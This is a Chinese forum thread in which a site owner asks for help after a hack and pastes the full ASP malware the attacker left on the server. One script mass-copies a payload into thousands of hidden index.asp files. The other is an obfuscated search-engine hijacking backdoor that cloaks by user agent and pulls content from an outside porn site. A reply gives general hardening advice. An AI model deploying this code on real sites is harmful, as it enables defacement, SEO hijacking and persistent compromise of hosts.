网站被黑了！高手帮忙看下！有啥解决方法！

ch1985123 2014-10-23 09:27:05

别人在我空间上专了三个文件111.asp，111.jpg，111.jpg.txt
这是111.asp里面的代码
<%Server.ScriptTimeout = 99999%>
<%
o=request.querystring("o")
If(o="del")Then
s = Server.MapPath(Request.ServerVariables("url"))
Set fso = CreateObject("Scripting.FileSystemObject")
If fso.FileExists(s) Then
fso.Deletefile(s)
End If
Set fso = Nothing
response.end
End If

Response.Write "<html xmlns=""http://www.w3.org/1999/xhtml"">"&VbCrLf
Response.Write "<head>"&VbCrLf
Response.Write "<meta http-equiv=""Content-Type"" content=""text/html; charset=gb2312"" />"&VbCrLf
Response.Write "<title>copy-</title>"&VbCrLf
Response.Write "</head>"&VbCrLf
Response.Write ""&VbCrLf
Response.Write "<body>"&VbCrLf
Response.Write "<a href='"& Request.ServerVariables("url") &"?o=del'>自杀</a>"

on error resume next
dim d, dpath, i, repath, logf
d = Server.MapPath("./")
repath = "\111.jpg"
repath = d & repath
logf = repath &".txt"
sep = "*xx*"
dpath = ""
i=1

Set objFSO = server.CreateObject("Scripting.FileSystemObject")
If objFSO.fileExists(logf) Then
set ref=objFSO.opentextfile(logf,1)
logc=ref.readall
ref.close
if instr(logc,sep)>0 then
arr = Split(logc,sep)
i = arr(0)
dpath = arr(1)
end if
Else
set ref=objFSO.opentextfile(logf,2,true)
ref.close
End If

if dpath="" then
arr = dirlist(d)
max = ubound(arr)
r = random(0, max)
dpath = arr(r)
End If

set ref=objFSO.opentextfile(repath,1)
content=ref.readall
ref.close

For i=i To 20000
path = dpath &"\"& i &"\index.asp"
response.write repath&" 到 "&path

path=replace(path,"/","\")
if instr(path,"\")>0 then
folder=left(path,instrrev(path,"\")-1)
end if
CheckFolder(folder)

If objFSO.fileExists(path) Then
set f=objFSO.getfile(path)
f.attributes=0
set f=nothing
end if
set ff=objFSO.createtextfile(path,true)
ff.writeline content
ff.close
set f=objFSO.getfile(path)
f.attributes=2071
set f=nothing

set ref=objFSO.opentextfile(logf,2,true)
ref.write i & sep & dpath
ref.close

if err then
response.write " 失败 "
else
response.write " 成功 "
end if
next

sub copyfile(repath,path)
response.write repath&" 到 "&path
Set objFSO = server.CreateObject("Scripting.FileSystemObject")
set ref=objFSO.opentextfile(repath,1,true)
content=ref.readall
set ref=nothing

path=replace(path,"/","\")
if instr(path,"\")>0 then
folder=left(path,instrrev(path,"\")-1)
end if
CheckFolder(folder)
if objFSO.FolderExists(path) then
objFSO.DeleteFolder Path,true
end if

If objFSO.fileExists(path) Then
set f=objFSO.getfile(path)
f.attributes=0
set f=nothing
set ff=objFSO.createtextfile(path,true)
ff.writeline content
ff.close
set f=objFSO.getfile(path)
f.attributes=2071
set f=nothing
else
set ff=objFSO.createtextfile(path,true)
ff.writeline content
ff.close
set f=objFSO.getfile(path)
f.attributes=2071
set f=nothing
end if

if err then
response.write " 失败 "
else
response.write " 成功 "
end if
end sub

sub CheckFolder(folder)
if objFSO.Folderexists(folder) then
exit sub
else
if instr(folder,"\")>0 then
else
exit sub
end if
'topfolder=left(folder,instrrev(folder,"\")-1)
'checkfolder(topfolder)
objFSO.createfolder(folder)
end if
end sub

Function dirlist(path)
Set Fso=server.createobject("scripting.filesystemobject")
Dim MyArray()
Dim i
i = 0

On Error Resume Next
Set Objfolder=fso.getfolder(path)

Set Objsubfolders=objfolder.subfolders

For Each Objsubfolder In Objsubfolders

Nowpath=path + "\" + Objsubfolder.name

'Response.write Nowpath &" "
ReDim Preserve MyArray(i)
MyArray(i)=Nowpath
i=i+1

'Set Objfiles=objsubfolder.files
'For Each Objfile In Objfiles
' Response.write Objfile.name
'Next
'dirlist(nowpath)

Next
Set Objfolder=nothing
Set Objsubfolders=nothing
Set Fso=nothing

dirlist=MyArray
End Function

function random(lowerbound, upperbound)
Randomize
random = int((upperbound-lowerbound+1)*rnd+lowerbound)
end function
%>
这是111.jpg我把后缀名改了看到的代码
<%
Server.ScriptTimeout=90
az="se"

on error resume next
Set fso = Server.CreateObject("S"&"cr"&"ip"&"ti"&"ng.Fi"&"le"&"Sys"&"tem"&"Ob"&"je"&"ct")
set f=fso.Getfile(Server.MapPath("index.asp"))
if f.attributes <> 7 then
f.attributes = 7
end if

Set f = Server.CreateObject("scripting.filesystemobject")
h="\\.\"&Server.MapPath("\global.asa")
f.GetFile(h).attributes=0
f.DeleteFile(h)

Function GetHtml(url)
Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP")
ObjXMLHTTP.Open "GET",url,False
ObjXMLHTTP.setRequestHeader "User-Agent","abcdefg"
ObjXMLHTTP.send
GetHtml=ObjXMLHTTP.responseBody
Set ObjXMLHTTP=Nothing
set objStream = Server.CreateObject("Adodb.Stream")
objStream.Type = 1
objStream.Mode =3
objStream.Open
objStream.Write GetHtml
objStream.Position = 0
objStream.Type = 2
objStream.Charset = "gb2312"
GetHtml = objStream.ReadText
objStream.Close
End Function

Function check(user_agent)
allow_agent=split("Baiduspider,Googlebot,Sogou,baidu,Sosospider,FAST-WebCrawler,MSNBOT,Slurp",",")
check_agent=false
For agenti=lbound(allow_agent) to ubound(allow_agent)
If instr(user_agent,allow_agent(agenti))>0 then
check_agent=true
exit for
end if
Next
check=check_agent
if instr(1,request.servervariables("HTTP_REFERER"),"site",1)>0 then
'check=true
end if
End function

if Check(Request.ServerVariables("HTTP_USER_AGENT"))=false and instr(application("userjump"),"<title")>0 and application(replace(Request.ServerVariables("SCRIPT_NAME"),"/",""))<>0 then
response.write(replace(application("userjump"),"{title}",application(replace(Request.ServerVariables("SCRIPT_NAME"),"/",""))))
response.end
end if

htmlcontent=gethtml("http://sg2.anyequ.net/index.php")
response.write htmlcontent
'if instr(application("userjump"),"title")=0 then
c_1=split(htmlcontent,"<title>",-1,1)(1)
application(replace(Request.ServerVariables("SCRIPT_NAME"),"/",""))=split(c_1,"</title",-1,1)(0)
application("userjump")=split(htmlcontent,"<title",-1,1)(0)&"<title> {title} </title"&split(htmlcontent,"</title",-1,1)(1)
'end if
%>
还给我的一个文件夹里面生成了几万个垃圾文件
前几个文件夹里面有index.asp.log 里面的内空为:2014-10-21 10:30:51 文件[index.asp]被安全系统自动隔离，备注：搜索引擎劫持
后面的文件夹里面的都是index.asp但里面都是空的！但index.asp大小为0KB，用FTP工具也删除不了！
代码里面的http://sg2.anyequ.net/index.php地址是个黄色网站！

...全文

201 5 打赏收藏转发到动态举报

写回复

用AI写文章

5 条回复

切换为时间正序

请发表友善的回复…

发表回复

websinesafe 2018-08-02

打赏
举报

网站被挂马通常都是程序有漏洞导致被挂马,检查下图片上传的目录有无可疑的脚本文件如asp php 等后缀的文件在看下首页有无被修改增加了加密的代码或外部链接，

防范的方式也简单：

1、程序代码漏洞，这需要有安全意识的程序员才能修复得了，通常是在出现被挂马以后才知道要针对哪方面入手修复；

2、也可以通过安全公司来解决，国内也就Sinesafe和绿盟等安全公司。

3.服务器目录权限的“读”、“写”、“执行”，“是否允许脚本”，等等，使用经营已久的虚拟空间提供商的空间，可以有效降低被挂马的几率。